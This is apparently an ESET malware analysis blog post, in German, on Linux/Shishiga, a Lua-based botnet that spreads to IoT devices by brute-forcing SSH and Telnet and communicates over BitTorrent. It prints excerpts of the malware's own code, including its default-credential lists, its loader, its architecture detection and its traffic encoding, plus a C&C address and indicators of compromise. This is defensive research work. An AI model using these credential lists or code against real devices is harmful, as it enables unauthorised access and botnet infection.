Unter allen Linux Samples, die tagtäglich bei ESET eintreffen, fiel eines besonders auf. Es wurde lediglich von Dr.Web als Linux.LuaBot erkannt. ESETs Sicherheitsforscher hielten das für verdächtig, da die Erkennungsraten für die LuaBot Familie im Allgemeinen sehr hoch waren. Bei einer genaueren Analyse stellte sich heraus, dass der Bot tatsächlich in Lua geschrieben wurde. ESET entdeckte eine neue Malware-Familie, die nicht mit der bisherigen LuaBot-Malware im Zusammenhang steht. Die Forscher gaben der Malware-Familie einen neuen Namen: Linux/Shishiga. Die Malware verwendet vier verschiedene Protokolle (SSH - Telnet - HTTP - BitTorrent) und die Lua-Skriptsprache für die Modularität.

Wo begegnet man Linux/Shishiga?

Linux/Shishiga zielt auf GNU/Linux Systeme ab. Der Weg der Kompromittierung ist relativ geläufig: Durch Bruteforcing wird versucht, schwache Login-Daten mit Hilfe einer Passwortliste zu knacken. Man kann gewisse Parallelen zu Linux/Moose erkennen – nun allerdings mit dem Zusatz, dass auch SSH-Anmeldeinformationen mittels Bruteforcing angegriffen werden.

Die vollständige Liste mit versuchten Anmeldeinformationen sah bei der Erstellung des Artikels wie folgt aus:

bftelnet.lua
[...]
local accounts={
    {"admin","admin"},
    {"root","root"},
    {"adm","adm"},
    {"acer","acer"},
    {"user","user"},
    {"security","security"}
}
[...]
bfssh.lua
[...]
local accounts={
    {"admin","admin"},
    {"root","root"},
    {"adm","adm"},
    {"ubnt","ubnt"},
    {"root",""},
    {"admin",""},
    {"adm",""},
    {"user","user"},
    {"pi","pi"},
}

--[[
    {"acer","acer"},
    {"security","security"},
    {"root","toor"},
    {"root","roottoor"},
    {"root","password"},


    {"root","test"},
    {"root","abc123"},
    {"root","111111"},
    {"root","1q2w3e"},
    {"root","oracle"},
    {"root","1q2w3e4r"},
    {"root","123123"},
    {"root","qwe123"},
    {"root","p@ssw0rd"},

    {"root","1"},
    {"root","12"},
    {"root","123"},
    {"root","1234"},
    {"root","12346"},
    {"root","123467"},
    {"root","1234678"},
    {"root","12346789"},
    {"root","123467890"},
    {"root","qwerty"},
    {"root","pass"},
    {"root","toor"},
    {"root","roottoor"},
    {"root","password123"},
    {"root","password123456"},
    {"root","pass123"},
    {"root","password"},
    {"root","passw0rd"},
    {"root","1qaz"},
    {"root","1qaz2wsx"},
    {"root","asdfgh"},

    {"user","user"},
    {"user",""},
    {"acer","acer"},
    {"security","security"},
    {"root","passw0rds"},
]]
[...]

ESET sind unterschiedliche Binärdateien für Linux/Shishiga aufgefallen. Diese sind für verschiedene Architekturen wie MIPS (Big- und Little-Endian), ARM (armv4l), i686 und PowerPC gedacht. Die aufgezählten Architekturen sind besonders in IoT-Geräten zu finden. Es ist außerdem denkbar, dass auch SPARC, SH-4 oder m68k Architekturen unterstützt werden könnten. Dazu aber später mehr.

Fähigkeiten von Linux/Shishiga

Linux/Shishiga ist eine mit UPX 3.91 (Ultimate Packer for Executables) gepackte Binärdatei. Das UPX-Tool wird allerdings Probleme beim Entpacken der Binärdatei haben, da die Linux/Shishiga Malware Daten am Ende der gepackten Datei hinzufügt hat.

Nach dem Entpacken stellte ESET fest, dass die Malware statisch mit der Lua-Laufzeitbibliothek verknüpft und von allen Symbolen befreit ist.

$ file unpacked.i686.lm
unpacked.i686.lm: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux),
statically linked, stripped

Einmal ausgeführt, initialisiert die Binärdatei das Malware Lua-Modul mit den folgenden Methoden:

Malware methods

malware_module_methods  dd offset aGetver       ; "getver"
                        dd offset getver
                        dd offset aGetos        ; "getos"
                        dd offset getos
                        dd offset aGetarch      ; "getarch"
                        dd offset getarch
                        dd offset aGetmacaddr   ; "getmacaddr"
                        dd offset getmacaddr
                        dd offset aGetmods      ; "getmods"
                        dd offset getmods
                        dd offset aSetargs      ; "setargs"
                        dd offset setargs

Die getmods-Methode gibt den Archiv-Blob zurück. Dann wird hartcodierter Lua-Code (malware.lua) über die Funktionen luaL_loadstring und lua_pcall ausgeführt. Normalerweise ist der Lua-Code recht schlicht. Wir haben den Code hier einmal ohne irgendwelche Veränderungen unsererseits aufgelistet:

malware.lua
local unistd=require("posix.unistd")
require("malware")

function getexe()
    local fn=unistd.readlink("/proc/self/exe")
    if fn==nil and arg~=nil then
        fn=arg[0] --symlink removed
    end

    if fn==nil then
        print("couldn't find bot file")
        return nil
    end


    local file=io.open(fn,"r")
    if file==nil then
        print("couldn't find bot file")
        return nil
    end
    local data=file:read("*all")
    file:close()
    return data
end

function getMods()
    return zlib.inflate()(malware.getmods())
end

function getScriptFiles(scripts)
    local files={}
    local i=1
    while true do
        local a1,b1,c1=string.find(scripts,'%-%-script%-begin%-%-([%w%.]+)%-%-',i)
        if a1==nil then
            break
        end

        local a2,b2,c2=string.find(scripts,'%-%-script%-end%-%-([%w%.]+)%-%-',i)

        if a2==nil then
            break
        end

        if c1~=c2 then
            return nil
        end

        local src=string.sub(scripts,b1+1,a2-1)
        i=b2+1
        files[c1]=src
    end
    return files
end

malware.exe=getexe() (1)
local modules=getScriptFiles(getMods()) (2)

[...]

f=load(malware.modules['main.lua']) (3)
local s,err=pcall(f)
if s==false then
    print(err)
end
(1) Öffnet die heruntergeladene Malware-Datei von /proc/self/exe und gibt den Inhalt zurück;
(2) Ruft das zlib-Archiv über die getmods-Methode auf, dekomprimiert es, analysiert es mit Hilfe von Tags und speichert es in einem Lua-Array;
(3) Aufruf des main.lua Moduls;

Es gibt eine ausführliche Liste aller Lua-Skripte im IoC-Bereich am Ende dieses Artikels. Die meisten von ihnen besitzen selbsterklärende Dateinamen. Wir wollen dennoch auf einige von ihnen kurz eingehen.

callhome.lua

  • Abrufen der Konfigurationsdatei server.bt oder server von config.lua;
  • Wenn der aktuelle Standardserver nicht erreicht wird → Wechsel zu anderem Server;
  • Sendet Dateien (Berichte oder Konten, beide JSON formatiert);
  • Aufgaben werden aus der vom C&C-Server abgerufenen Aufgabenliste ausgeführt.

bfssh.lua / bftelnet.lua

  • Modul, um SSH- und Telnet-Logins Bruteforcing zu unterziehen;
  • Überprüft, ob der Befehl echo -en "\\ x31 \\ x33 \\ x33 \\ x37"1337 ausgibt; wenn nicht, abbrechen; sonst fortfahren;
  • Die Gerätearchitektur wird aus der Datei /bin/ls bestimmt, indem cat /bin/ls ausgeführt und der ELF-Header analysiert wird, siehe unten;
  • verbreitet die Malware (*.lm und *.dm Dateien) entsprechend der Gerätearchitektur;
  • speichert erfolgreiche Anmeldeinformationen;

Der Architekturprüfcode lautet wie folgt:

bfssh.lua, getArchELF method
function bfssh.getArchELF(text)
	local bits,denc,ver,ftype,farch
	if text==nil then
		return nil
	end

	local i=text:find("\x7fELF") (1)
	if i~=nil then
		bits,denc,ver=string.unpack("<BBB",text:sub(i+4))
		if denc==1 then
			ftype,farch=string.unpack("<HH",text:sub(i+16)) (2)
		else
			ftype,farch=string.unpack(">HH",text:sub(i+16))
		end
	end
	return bits,denc,farch (3)
end
(1) Jede ELF-Datei muss mit \x7fELF starten
(2) ftype , die  e_type (ELF Dateityp = ausführbare Programme, linkbare Module und Objektdateien) darstellen, werden nicht gebraucht.
(3) bits stellt e_ident[EI_CLASS] (32-bit or 64-bit) dar,

denc e_ident[EI_DATA] (Big- und Little-Endian),

und farch e_machine im ELF-Header

bfssh.lua, getArchName method

function bfssh.getArchName(bits,denc,farch) (1)

        if farch==0x8 and denc==1 then (2)
                return "mipsel"
        end

        if farch==0x8 and denc==2 then
                return "mips"
        end

        if farch==0x28 then
                return "armv4l"
        end

        if farch==0x2 then
                return "sparc"
        end

        if farch==0x2a then
                return "sh4"
        end

        if farch==0x4 then
                return "m68k"
        end

        if farch==0x14 then
                return "powerpc"
        end


        if farch==0x3 or farch==0x7 or farch==0x3e then (3)
                return "i686"
        end

        return nil
end
(1) bits wird nicht verwendet
(2) Überprüft, ob Datei für MIPS Little Endian ist (e_machine == EM_MIPS und e_ident[EI_DATA] == ELFDATA2LSB)
(3) Prüft, ob Datei für Intel 80386 oder Intel 80860 oder AMD x86-64 ist (e_machine == EM_386 oder e_machine == EM_860 oder e_machine == EM_X86_64)

config.lua

  • enthält den publicKey, um die Signatur der Binärdatei (.lm oder .dm) zu überprüfen;
  • enthält bootstrap nodes list;
  • enthält Dateinamen von .bt-Dateien, Portnummern von SOCKS und HTTP-Servern;
  • enthält die IP-Adresse des Servers (wahrscheinlich des C & C-Servers).

persist.lua

  • Persistenzmethode, abhängig vom Nutzerrecht (Root oder User)

scanner.lua

  • verwendet, um zufällige /16-Netzwerke zu generieren, die nicht local sind

worm.lua (Dieses Skript wurde in der neuesten Version von Linux/Shishiga entfernt)

  • ermöglicht das Scannen eines bestimmen Ports;
  • ermöglicht einen Upload;
  • bekommt Informationen vom neuen infizierten Server

Die folgenden Zeilen in der readme.lua dürften bei Russisch Sprechenden Aufmerksamkeit erzeugen:

           ВСЁ ИДЁТ ПО ПЛАНУ

А при коммунизме всё будет заебись
Он наступит скоро — надо только подождать
Там всё будет бесплатно,там всё будет в кайф
Там наверное вощще не надо будет (умирать)
Я проснулся среди ночи и понял, что -

           ВСЁ ИДЁТ ПО ПЛАНУ

Übersetzt:

            ALLES LÄUFT NACH PLAN

Wenn der Kommunismus kommt, wird es alles gut werden.
Er wird bald kommen, wir müssen nur abwarten.
Alles dort wird frei sein, alles wird besser werden.
Wir werden wahrscheinlich nicht einmal sterben müssen.
Ich erwachte inmitten der Nacht und erkannte:

            ALLES LÄUFT NACH PLAN

Es scheint so, als ob sich der Malware-Entwickler von den letzten Versen des Titelsongs des Albums Everything goes according to plan von Jegor Letow hat beeinflussen lassen.

In den vergangenen Wochen hat ESET einige kleinere Änderungen beobachten können. Teilweise wurden einige Module umgeschrieben, Testmodule hinzugefügt oder redundante Dateien entfernt – insgesamt aber nichts, was besonders hervorgehoben werden müsste.

Während die Haupt-Binärdatei <architecture>.lm heißt, gelang es ESET aber auch, Binärdateien mit dem Namen <Architektur>.dm abzufangen. Dahinter verbirgt sich eine einfache Hintertür (Backdoor), die auf 0.0.0.0 (alle IPv4-Adressen) an Port 2015 lauscht. Eine kleine Namensänderung wurde in der Backdoor-Binary vorgenommen – man änderte dl in dm.

Linux/Shishiga Kommunikation

Linux/Shishiga kann durch die Module httpproto.lua, btloader.lua oder server.lua kommunizieren. Das Modul httpproto.lua verfügt über Funktionen, mit denen die angegebenen Daten codiert oder decodiert und HTTP-POST- und GET-Anfragen erstellt werden können. Der untere Quellcode zeigt den Prozess der Codierung von Daten.

httpproto.lua
[...]
function httpproto.encode(data)
    local msg=bencode.encode(data)
    local c=zlib.crc32()(msg)
    local k=string.pack("<I",utils.random())
    return k..crypto.rc4(k,string.pack("<I",c)..msg)
end
[...]

btloader.lua verwendet das torrent.lua-Modul (ein Wrapper für BitTorrent-Funktionen), um Nodes in der Datei nodes.cfg zu speichern oder aus dieser zu laden. Außerdem empfängt es seine Konfigurationsinformationen von {server,update,script}.bt – Dateien (im Bencode-Format) und nutzt das BitTorrent Protokoll, um nach neuen Versionen der Dateien zu suchen. script.bt erlaubt das Ausführen eines Lua-Skripts. update.bt realisiert die Ausführung der .lm-Binärdatei. Im Folgenden finden sich Beispiele für dekodierte .bt-Dateien, die als Python-Wörterbücher angezeigt werden.

script.bt
{
    'sig': <removed>,(1)
    'k': <removed>,(2)
    'salt': 'script',
    'seq': 1486885364,
    'v': 'caba4dbe2f7add9371b94b97cf0d351b72449072,test.lua\n'
}
(1) Signatur
(2) Public Key
update.bt
{
    'sig': <removed>,
    'k': <removed>,
    'salt': 'update',
    'seq': 1486885364,
    'v':
        'bf4d9e25fc210a1d9809aebb03b30748dd588d08,mipsel.lm\n
        8a0d58472f6166ade0ae677bab7940fe38d66d35,armv4l.lm\n
        51a4ca78ebb0649721ae472290bea7bfe983d727,mips.lm\n
        979fb376d6adc65473c4f51ad1cc36e3612a1e73,powerpc.lm\n
        ce4b3c92a96137e6215a5e2f5fd28a672eddaaab,i686.lm\n'
}
server.bt
{
    'sig': <removed>,
    'k': <removed,
    'salt': 'server',
    'seq': 1486835166,
    'v': '93.117.137.35:8080\n'
}

Die Hauptfunktionalität des server.lua-Moduls ist einen HTTP-Server mit dem in config.lua definierten Port zu erstellen. Bei allen analysierten Samples ist das Port 8888.

Der Server antwortet nur auf /info und /upload -Anfragen. Unten ist eine (verschönerte) Version der Serverantwort auf den /info -Pfad. Alle hier aufgelisteten Dateien können ganz einfach vom kompromittierten Gerät heruntergeladen werden.

{
    "src":[ (1)
        "test.lua",
        "test1.lua",
        "test10.lua",
        "test2.lua",
        "test3.lua",
        "test5.lua",
        "test6.lua",
        "test_1.lua",
        "test_2.lua",
        "test_3.lua",
        "test_4.lua"
    ],

    "dm":[ (2)
        "armv4l.dm",
        "i686.dm",
        "mips.dm",
        "mipsel.dm"
    ],

    "bt":[ (3)
        "script.bt",
        "server.bt",
        "update.bt"
    ],

    "version":"1.0.0", (4)

    "lua":[ (5)
        "armv4l.lm",
        "i686.lm",
        "mips.lm",
        "mipsel.lm",
        "powerpc.lm"
    ],

    "os":"lin",
    "arch":"i686",
    "lua_version":"Lua 5.3"
}
(1) Lua-Skripts
(2) Backdoor (alter Name: .dl)
(3) BitTorrent Skripts
(4) Malware Version
(5) Module-Lader

Das Abfragen des Roots am Port 8888 führt zu HTTP/1.0 404 OK und gilt als einfaches Indiz für eine Kompromittierung (IoC).

http.lua response function
function http.response(req,code,data,timeout)
    timeout=timeout or timeoutDef
    local hdr="HTTP/1.0 %d OK\r\nContent-Length: %d\r\nConnection: close\r\n\r\n"
    async.sendall(req.sock,hdr:format(code,data:len())..data,timeout)
    return true
end

Zum Zeitpunkt der Untersuchungen bat ESET das Censys-Team um einen umfangreichen Scan des Internets am TCP Port 8888. Sie fanden rund zehn IP-Adressen, welche die obige HTTP-Antwort ausgaben. Die dazugehörigen Geräte sind also alle potentiell kompromittiert.

Fazit

Auf den ersten Blick scheint Linux/Shishiga wie andere Malware zu sein, die sich durch das Ausnutzen schwacher Telnet- und SSH-Anmeldeinformationen ausbreitet. Aber die Verwendung des BitTorrent-Protokolls und der Lua-Module hebt sie von anderen ab. BitTorrent konnte schon im Mirai-inspirierten Wurm Hajime im vergangenen Jahr beobachtet werden. Wir vermuten, dass BitTorrent sich in Zukunft zunehmender Beliebtheit bei Malware-Entwicklern erfreuen dürfte.

Es ist durchaus möglich, dass sich Linux/Shishiga gerade erst entwickelt und noch weiterverbreitet. Die noch geringe Anzahl von Opfern, das konstante Hinzufügen, Entfernen und Ändern von Komponenten, Code-Kommentare und Debug-Informationen sprechen jedoch für sich.

Um zu verhindern, dass Linux/Shishiga und ähnliche Malware das eigene Linux-System kompromittiert, sollten Standard-Telnet- und SSH-Anmeldeinformationen unbedingt vermieden werden.

Wir danken dem Censys-Team für ihre Zusammenarbeit.

IoCs

C&C

93.117.137.35

SHA-1 hashes (.lm)
003f548796fb52ad281ae82c7e0bb7532dd34241
1a79092c6468d39a10f805c96ad7f8bf303b7dc8
1cc1b97f8f9bb7c4f435ef1316e08e5331b4331b
2889803777e2dfec7684512f45e87248a07d508f
2a809d37be5aa0655f5cc997eb62683e1b45da17
3f1ef05ca850e2f5030ee279b1c589c9e3cc576c
41bf0d5612ba5bc9a05e9d94df0f841b159264a0
4bc106f6231daa6641783dd9276b4f5c7fc41589
4d55efe18643d7408cbe12dd4f319a68084bd11e
4df58ab26f0fc8ec2d1513611ca2b852e7107096
51a4ca78ebb0649721ae472290bea7bfe983d727
5a88b67d8dfaf1f68308311b808f00e769e39e46
6458c48e5167a2371d9243d4b47ad191d642685b
688ccbca8b2918a161917031e21b6810c59eeab0
6e3ba86d1f91669e87945b8ea0211b58e315e189
6f41c8f797814e2e3f073601ce81e8adceef6a27
8a0d58472f6166ade0ae677bab7940fe38d66d35
8a1f9212f181e68a63e06a955e64d333b78c6bf6
8e3c4eb04d4cfd8f44c721111c5251d30ac848b6
979fb376d6adc65473c4f51ad1cc36e3612a1e73
a1f2535576116d93b62d7f5fc6e30e66e0e0a216
a694c6ecc2ff9702905f22b14ed448e9e76fe531
ac094b239851eaf2e9fd309285c0996fb33771a8
b14f7af9665ef77af530109a0331f8ca0bd2a167
b86935c4539901cdec9081d8a8ca915903adaff1
ba5df105496b0c4df7206d29fa544b7a7a346735
bf4d9e25fc210a1d9809aebb03b30748dd588d08
c22f0fb01c6d47957732a8b0f5ef0f7d4e614c79
ce4b3c92a96137e6215a5e2f5fd28a672eddaaab
d8a5d9c4605b33bd47fedbad5a0da9928de6aa33
f73022a4801e06d675e5c3011060242af7b949ad
SHA-1 hashes (.dl)
274181d2f9c6b8f0e217db23f1d39aa94c161d6e
8abbb049bffd679686323160ca4b6a86184550a1
95444c2ccc5fff19145d60f1e817fd682cabe0cd
9cde845852653339f67667c2408126f02f246949
Lua-Skript Dateinamen:
async.lua
async.lua.old
bencode.lua
bfssh.lua
bfssh.lua.old2
bftelnet.lua
btloader.lua
callhome.lua
callhome.lua.old
config.lua
crypto.lua
dht.lua
event.lua
evs.lua
http.lua
httpproto.lua
libevent2.lua
luaevent.lua
main.lua
main2.lua
malware.lua
persist.lua
readme.lua
routing.lua
scanner.lua
scanner2.lua
server.lua
socket.lua
socks.lua
ssh.lua
ssl.lua
telnet.lua
test.lua
test1.lua
test10.lua
test2.lua
test3.lua
test5.lua
test6.lua
threads.lua
torrent.lua
udp.lua
utils.lua
worm.lua
 
Dateien, die möglicherweise eine Kompromittierung anzeigen könnten:
/tmp/.local/*
/tmp/drop
/tmp/srv
$HOME/.local/ssh.txt
$HOME/.local/telnet.txt
$HOME/.local/nodes.cfg
$HOME/.local/check
$HOME/.local/script.bt
$HOME/.local/update.bt
$HOME/.local/server.bt
$HOME/.local/syslog
$HOME/.local/syslog.pid
$HOME/.local/{armv4l,i686,mips,mipsel}.{dl,dm}
$HOME/.local/{armv4l,i686,mips,mipsel,powerpc}.lm
/etc/rc2.d/S04syslogd
/etc/rc3.d/S04syslogd
/etc/rc4.d/S04syslogd
/etc/rc5.d/S04syslogd
/etc/init.d/syslogd
/bin/syslogd
/etc/cron.hourly/syslogd